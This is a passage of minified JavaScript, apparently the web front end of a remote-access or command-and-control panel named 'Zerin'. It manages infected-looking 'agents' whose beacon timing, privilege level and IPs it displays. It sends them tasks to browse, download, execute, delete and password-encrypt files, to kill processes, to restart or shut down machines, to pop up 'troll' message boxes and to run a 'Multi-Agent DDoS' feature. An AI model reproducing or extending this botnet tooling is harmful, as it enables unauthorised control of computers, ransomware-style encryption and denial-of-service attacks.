text-zerin-text",children:"Multi-Agent DDoS"}),s.jsx("button",{onClick:()=>K(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:s.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsx(C3,{agentIds:[...T]})]})}),s.jsx(RA,{x:f.x,y:f.y,visible:f.visible,onAction:G,onClose:te,agentStatus:h==null?void 0:h.status,agentName:h==null?void 0:h.hostname}),s.jsx(n5,{agentId:(v==null?void 0:v.id)??"",agentHostname:(v==null?void 0:v.hostname)??"",open:v!==null,onClose:()=>b(null)}),s.jsx(BA,{open:g!==null,onClose:()=>y(null),title:(g==null?void 0:g.hostname)??"Agent Details",children:g&&s.jsx(dU,{agent:g,onNavigate:()=>e(`/agents/${g.id}`),onTagsChange:async C=>{const D=g.tags??[];n(A=>A.map(Z=>Z.id===g.id?{...Z,tags:C}:Z)),y(A=>A&&{...A,tags:C});try{await wE(g.id,C)}catch{n(A=>A.map(Z=>Z.id===g.id?{...Z,tags:D}:Z)),y(A=>A&&{...A,tags:D}),o("Failed to update tags")}}})}),w&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>j(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-sm w-full mx-4",onClick:C=>C.stopPropagation(),children:[s.jsxs("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-2",children:[w.command==="restart"?"Restart":"Shutdown"," PC"]}),s.jsxs("p",{className:"text-zerin-text-muted text-sm mb-6",children:["Are you sure you want to ",w.command," ",s.jsx("span",{className:"text-zerin-text font-medium",children:w.hostname}),"?",w.command==="shutdown"&&" The agent will go offline."]}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>j(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r + hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r + transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:()=>{ke(w.agentId,{command:w.command}).catch(C=>{o(`Failed to submit task: ${C instanceof Error?C.message:"unknown error"}`)}),j(null)},className:`px-4 py-2 text-sm font-medium text-white transition-colors ${w.command==="shutdown"?"bg-zerin-danger hover:bg-red-600":"bg-zerin-accent hover:bg-zerin-accent-hover"}`,children:w.command==="restart"?"Restart":"Shutdown"})]})]})}),k&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>S(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-md w-full mx-4",onClick:C=>C.stopPropagation(),children:[s.jsx("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"Send Message Box"}),s.jsxs("p",{className:"text-zerin-text-muted text-xs mb-4",children:["Target: ",s.jsx("span",{className:"text-zerin-text font-medium",children:k.hostname})]}),s.jsxs("div",{className:"space-y-3 mb-6",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Title"}),s.jsx("input",{type:"text",value:N,onChange:C=>z(C.target.value),placeholder:"Window title...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r + text-sm text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Message"}),s.jsx("textarea",{value:O,onChange:C=>_(C.target.value),placeholder:"Message text...",rows:3,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r + text-sm text-zerin-text placeholder-zerin-text-muted resize-none\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]})]}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>S(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r + hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r + transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:()=>{O.trim()&&ke(k.agentId,{command:"troll_msgbox",args:[O,N||"Zerin"]}).catch(C=>{o(`Failed to submit task: ${C instanceof Error?C.message:"unknown error"}`)}),S(null)},disabled:!O.trim(),className:`px-4 py-2 text-sm font-medium text-white bg-zerin-accent\r + hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r + transition-colors`,children:"Send"})]})]})})]})}function Ml({label:e,value:t,active:n,onClick:r}){return s.jsxs("button",{onClick:r,className:`bg-zerin-panel border p-4 text-left transition-all duration-150 hover:bg-zerin-panel-hover ${n?"border-l-2 border-l-zerin-accent border-t-zerin-panel-border border-r-zerin-panel-border border-b-zerin-panel-border":"border-zerin-panel-border"}`,children:[s.jsx("p",{className:"text-xs text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),s.jsx("p",{className:"text-2xl font-display font-bold text-zerin-text",children:t})]})}function uU({column:e,sort:t}){return t.column!==e?s.jsx("svg",{className:"h-3 w-3 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M7 16V4m0 0L3 8m4-4l4 4m6 0v12m0 0l4-4m-4 4l-4-4"})}):t.direction==="asc"?s.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):s.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})})}function dU({agent:e,onNavigate:t,onTagsChange:n}){return s.jsxs("div",{className:"space-y-6",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(Ku,{status:e.status,size:"lg",showLabel:!0}),e.elevated&&s.jsx("span",{className:"inline-flex items-center bg-zerin-panel-hover px-2 py-1 text-xs font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Elevated"})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-x-4 gap-y-4",children:[s.jsx(on,{label:"Hostname",value:e.hostname}),s.jsx(on,{label:"Username",value:e.username}),s.jsx(on,{label:"OS",value:fo(e.os)}),s.jsx(on,{label:"Architecture",value:e.arch}),s.jsx(on,{label:"PID",value:String(e.pid),mono:!0}),s.jsx(on,{label:"Integrity",value:e.integrity}),s.jsx(on,{label:"Internal IP",value:e.internal_ip,mono:!0}),s.jsx(on,{label:"External IP",value:e.external_ip,mono:!0}),s.jsx(on,{label:"Sleep / Jitter",value:t5(e.sleep_interval,e.jitter),mono:!0}),s.jsx(on,{label:"Agent ID",value:Os(e.id),mono:!0}),s.jsx(on,{label:"First Seen",value:uo(e.first_seen)}),s.jsx(on,{label:"Last Seen",value:Ac(e.last_seen)})]}),s.jsxs("div",{children:[s.jsx("p",{className:"text-zerin-text-muted text-xs mb-1.5",children:"Tags"}),s.jsx(iU,{tags:e.tags??[],onChange:n})]}),s.jsx("div",{className:"border-t border-zerin-panel-border"}),s.jsxs("button",{onClick:t,className:"w-full flex items-center justify-center gap-2 bg-zerin-accent px-4 py-2.5 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:["View Full Details",s.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 7l5 5m0 0l-5 5m5-5H6"})})]})]})}function on({label:e,value:t,mono:n=!1}){return s.jsxs("div",{children:[s.jsx("p",{className:"text-zerin-text-muted text-xs mb-0.5",children:e}),s.jsx("p",{className:`text-zerin-text text-sm ${n?"font-mono":""}`,children:t})]})}const fU={command:"text-zerin-accent",output:"text-zerin-text",error:"text-zerin-danger",system:"text-zerin-text-muted"},pU={command:"$ ",output:" ",error:"ERR ",system:"SYS "},mU={command:"text-zerin-accent",output:"text-zerin-text-muted",error:"text-zerin-danger",system:"text-zerin-text-muted opacity-50"};function hU({lines:e,className:t=""}){const n=p.useRef(null),r=p.useRef(null),i=p.useRef(0);return p.useEffect(()=>{var a;e.length>i.current&&((a=r.current)==null||a.scrollIntoView({behavior:"smooth"})),i.current=e.length},[e]),s.jsxs("div",{className:` + bg-zerin-bg border border-zerin-panel-border + font-mono text-sm overflow-hidden flex flex-col + ${t} + `,children:[s.jsxs("div",{className:"flex items-center gap-2 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-panel/60 select-none",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent"}),s.jsx("span",{className:"text-zerin-text-dim text-xs font-medium tracking-wide",children:"Terminal"})]}),s.jsxs("div",{ref:n,className:"flex-1 p-4 space-y-1 min-h-[200px] overflow-auto custom-scrollbar",children:[e.length===0&&s.jsxs("div",{className:"text-zerin-text-muted text-xs",children:[s.jsx("span",{className:"opacity-50",children:"SYS "}),"Awaiting input. Type a command to begin."]}),e.map((a,o)=>s.jsxs("div",{className:`${fU[a.type]} whitespace-pre-wrap break-all leading-relaxed`,children:[a.timestamp&&s.jsx("span",{className:"text-zerin-text-muted opacity-30 text-[10px] mr-3 select-none",children:a.timestamp}),s.jsx("span",{className:`${mU[a.type]} select-none`,children:pU[a.type]}),a.content]},o)),s.jsx("div",{ref:r})]})]})}function xU({agentId:e,agentStatus:t}){const[n,r]=p.useState("C:\\"),[i,a]=p.useState([]),[o,l]=p.useState(!1),[c,u]=p.useState(""),[d,f]=p.useState(!1),[m,h]=p.useState(null),[x,g]=p.useState(null),[y,v]=p.useState(null),[b,w]=p.useState(""),[j,k]=p.useState(""),S=t==="dead",N=p.useRef(null),z=p.useRef(null),O=p.useRef(null);p.useEffect(()=>()=>{N.current&&clearInterval(N.current)},[]),p.useEffect(()=>{if(!m)return;const q=ie=>{ie.button!==2&&z.current&&!z.current.contains(ie.target)&&h(null)},Y=ie=>{ie.key==="Escape"&&h(null)};return document.addEventListener("mousedown",q),document.addEventListener("keydown",Y),()=>{document.removeEventListener("mousedown",q),document.removeEventListener("keydown",Y)}},[m]),p.useEffect(()=>{y&&setTimeout(()=>{var q;return(q=O.current)==null?void 0:q.focus()},50)},[y]);const _=p.useCallback(q=>new Promise((Y,ie)=>{let ae=0;const fe=30,de=setInterval(async()=>{var G;ae++;try{const P=(G=(await Tn(e)).results)==null?void 0:G.find(C=>C.task_id===q);P?(clearInterval(de),P.error?ie(new Error(P.error)):Y({output:P.output,data:P.data})):ae>=fe&&(clearInterval(de),ie(new Error("Timed out waiting for agent response")))}catch{}},2e3)}),[e]),T=p.useCallback(async q=>{if(!S){l(!0),u(""),a([]),N.current&&(clearInterval(N.current),N.current=null);try{const{task_id:Y}=await ke(e,{command:"ls",args:[q]});r(q),f(!0);let ie=0;const ae=30;N.current=setInterval(async()=>{var fe;ie++;try{const G=(fe=(await Tn(e)).results)==null?void 0:fe.find(te=>te.task_id===Y);if(G){if(N.current&&clearInterval(N.current),N.current=null,l(!1),G.error){u(G.error);return}if(G.output){const te=G.output.split(` +`).slice(2),P=[];for(const C of te){if(C.length<35)continue;const D=C.substring(0,12).trim(),A=C.substring(13,33).trim();let Z=C.substring(34).trim();if(!Z||Z==="."||Z==="..")continue;const le=D==="";(Z.endsWith("/")||Z.endsWith("\\"))&&(Z=Z.slice(0,-1)),P.push({name:Z,isDir:le,size:le?void 0:D,modified:A})}a(P)}}else ie>=ae&&(N.current&&clearInterval(N.current),N.current=null,l(!1),u("Timed out waiting for agent response"))}catch{}},2e3)}catch(Y){u(Y instanceof Error?Y.message:"Failed to send command"),l(!1)}}},[e,S]),E=q=>{if(q.name.includes("..")||q.name.includes("/")||q.name.includes("\\"))throw new Error("Invalid file name: path traversal detected");const Y=n.endsWith("\\")||n.endsWith("/")?"":"\\";return n+Y+q.name},U=q=>{k(q),setTimeout(()=>k(""),5e3)},K=async q=>{h(null),g("download"),u(""),k("");try{const Y=E(q),{task_id:ie}=await ke(e,{command:"download",args:[Y]}),ae=await _(ie);if(ae.data){let fe;try{fe=atob(ae.data)}catch{u("Failed to decode file data: invalid base64 encoding");return}const de=new Uint8Array(fe.length);for(let C=0;C{h(null),g("delete"),u(""),k("");try{const Y=E(q),{task_id:ie}=await ke(e,{command:"delete",args:[Y]});await _(ie),U(`Deleted ${q.name}`),T(n)}catch(Y){u(Y instanceof Error?Y.message:"Delete failed")}finally{g(null)}},I=async(q,Y,ie)=>{v(null),w(""),g(q),u(""),k("");try{const ae=E(Y),{task_id:fe}=await ke(e,{command:q,args:[ae,ie]}),de=await _(fe);U(de.output||`${q==="encrypt"?"Encrypted":"Decrypted"} ${Y.name}`),T(n)}catch(ae){u(ae instanceof Error?ae.message:`${q} failed`)}finally{g(null)}},F=async q=>{h(null),g("execute"),u(""),k("");try{const Y=E(q),{task_id:ie}=await ke(e,{command:"execute",args:[Y]}),ae=await _(ie);U(ae.output||`Executed ${q.name}`)}catch(Y){u(Y instanceof Error?Y.message:"Execute failed")}finally{g(null)}},B=(q,Y)=>{q.preventDefault(),q.stopPropagation();const ie=180,ae=220;let fe=q.clientX,de=q.clientY;fe+ie>window.innerWidth&&(fe=window.innerWidth-ie-8),de+ae>window.innerHeight&&(de=window.innerHeight-ae-8),h({x:Math.max(4,fe),y:Math.max(4,de),entry:Y})},V=()=>{!y||!b.trim()||I(y.action,y.entry,b)},$=n.split(/[/\\]/).filter(Boolean);return s.jsxs("div",{className:"p-6 animate-fade-in max-w-3xl mx-auto",onContextMenu:q=>{q.preventDefault(),h(null)},children:[s.jsxs("div",{className:"flex items-center gap-1 mb-4 text-xs font-mono overflow-x-auto",children:[s.jsx("button",{onClick:()=>T("C:\\"),className:"text-zerin-text-muted hover:text-zerin-accent transition-colors px-1",disabled:S,children:"root"}),$.map((q,Y)=>s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"/"}),s.jsx("button",{onClick:()=>{const ie=$.slice(0,Y+1).join("\\")+"\\";T(ie)},className:"text-zerin-text-dim hover:text-zerin-accent transition-colors px-1",disabled:S,children:q})]},Y))]}),s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:()=>T(n),disabled:S||o,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[o?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Browse"]}),S&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"}),x&&s.jsxs("span",{className:"inline-flex items-center gap-1.5 text-xs text-zerin-text-muted",children:[s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),x,"..."]})]}),c&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:c}),j&&s.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 px-4 py-3 text-xs text-zerin-accent mb-4 font-mono",children:j}),d?i.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[24px_1fr] gap-2 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"})]}),i.map(q=>s.jsxs("button",{onClick:()=>{if(q.isDir){const Y=n.endsWith("\\")||n.endsWith("/")?"":"\\";T(n+Y+q.name)}},onContextMenu:Y=>B(Y,q),className:`w-full grid grid-cols-[24px_1fr] gap-2 px-4 py-2 text-left\r + border-b border-zerin-panel-border last:border-b-0\r + hover:bg-zerin-panel-hover transition-colors text-sm`,children:[s.jsx("span",{className:"text-zerin-text-muted",children:q.isDir?s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 14.25v-2.625a3.375 3.375 0 00-3.375-3.375h-1.5A1.125 1.125 0 0113.5 7.125v-1.5a3.375 3.375 0 00-3.375-3.375H8.25m2.25 0H5.625c-.621 0-1.125.504-1.125 1.125v17.25c0 .621.504 1.125 1.125 1.125h12.75c.621 0 1.125-.504 1.125-1.125V11.25a9 9 0 00-9-9z"})})}),s.jsx("span",{className:q.isDir?"text-zerin-accent font-medium":"text-zerin-text-dim",children:q.name})]},q.name))]}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Browse to list files on the agent"})]})}),m&&s.jsxs("div",{ref:z,className:"animate-scale-in fixed z-[9999] min-w-[170px] border border-zerin-panel-border bg-zerin-panel py-1",style:{left:m.x,top:m.y},children:[s.jsx("div",{className:"px-3 py-1.5 border-b border-zerin-panel-border",children:s.jsx("span",{className:"text-[11px] font-mono text-zerin-text-muted truncate block max-w-[200px]",children:m.entry.name})}),s.jsxs("button",{onClick:()=>K(m.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})}),"Download"]}),s.jsxs("button",{onClick:()=>F(m.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute"]}),s.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),s.jsxs("button",{onClick:()=>{v({action:"encrypt",entry:m.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z"})}),"Encrypt"]}),s.jsxs("button",{onClick:()=>{v({action:"decrypt",entry:m.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"})}),"Decrypt"]}),s.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),s.jsxs("button",{onClick:()=>R(m.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-danger hover:bg-zerin-danger-dim transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})}),"Delete"]})]}),y&&s.jsx("div",{className:"fixed inset-0 z-[10000] flex items-center justify-center bg-black/60",onClick:()=>{v(null),w("")},children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 min-w-[340px] animate-scale-in",onClick:q=>q.stopPropagation(),children:[s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text mb-1 capitalize",children:[y.action," File"]}),s.jsx("p",{className:"text-xs text-zerin-text-muted mb-4 font-mono truncate",children:y.entry.name}),s.jsx("label",{className:"block text-xs text-zerin-text-dim mb-1.5",children:"Password"}),s.jsx("input",{ref:O,type:"password",value:b,onChange:q=>w(q.target.value),onKeyDown:q=>{q.key==="Enter"&&V(),q.key==="Escape"&&(v(null),w(""))},placeholder:"Enter password...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-zerin-text font-mono text-sm placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20\r + transition-all mb-4`}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>{v(null),w("")},className:`px-3 py-1.5 text-xs text-zerin-text-dim\r + hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:V,disabled:!b.trim(),className:`px-4 py-1.5 text-xs font-medium bg-zerin-accent text-white\r + hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r + transition-colors capitalize`,children:y.action})]})]})})]})}function vU({agentId:e,agentStatus:t}){const[n,r]=p.useState([]),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(""),[m,h]=p.useState(null),[x,g]=p.useState(null),y=t==="dead",v=p.useRef(null);p.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=p.useCallback(async()=>{if(!y){a(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:S}=await ke(e,{command:"ps"});u(!0);let N=0;const z=30;v.current=setInterval(async()=>{var O;N++;try{const T=(O=(await Tn(e)).results)==null?void 0:O.find(E=>E.task_id===S);if(T){if(v.current&&clearInterval(v.current),v.current=null,a(!1),T.error){l(T.error);return}if(T.output){const E=T.output.split(` +`).filter(I=>I.trim()),U=[];for(const I of E){const F=I.trim().split(/\s+/);if(F.length>=2){const B=parseInt(F[0],10);if(!isNaN(B)){const V=F.length>=3?parseInt(F[1],10):0,$=!isNaN(V)&&F.length>=3,q=$?F.length>=4&&F.slice(3).join(" ")||F[2]:F.slice(1).join(" "),Y=$&&F.length>=4?F[2]:void 0;U.push({pid:B,ppid:$?V:0,name:q,user:Y,children:[]})}}}const K=new Map;U.forEach(I=>K.set(I.pid,I));const R=[];for(const I of U){const F=K.get(I.ppid);F&&F!==I?F.children.push(I):R.push(I)}r(R.length>0?R:U.map(I=>({...I,children:[]})))}}else N>=z&&(v.current&&clearInterval(v.current),v.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(S){l(S instanceof Error?S.message:"Failed to send command"),a(!1)}}},[e,y]),w=(S,N)=>{if(!N)return S;const z=N.toLowerCase();return S.filter(O=>{const _=O.name.toLowerCase().includes(z)||String(O.pid).includes(z),T=w(O.children,N).length>0;return _||T})},j=p.useCallback(async S=>{h(S),g(null);try{await ke(e,{command:"kill",args:[String(S)]}),setTimeout(b,2e3)}catch(N){l(N instanceof Error?N.message:"Failed to kill process")}finally{h(null)}},[e,b]),k=w(n,d);return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),s.jsxs("div",{className:"relative flex-1 max-w-xs",children:[s.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{type:"text",value:d,onChange:S=>f(S.target.value),placeholder:"Filter processes...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"PID"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"User"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Kill"})]}),s.jsx("div",{className:"max-h-[500px] overflow-y-auto custom-scrollbar",children:k.map(S=>s.jsx(P3,{process:S,depth:0,confirmKillPid:x,killingPid:m,onKillClick:N=>g(N),onKillConfirm:j,onKillCancel:()=>g(null)},S.pid))})]}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 6A2.25 2.25 0 016 3.75h2.25A2.25 2.25 0 0110.5 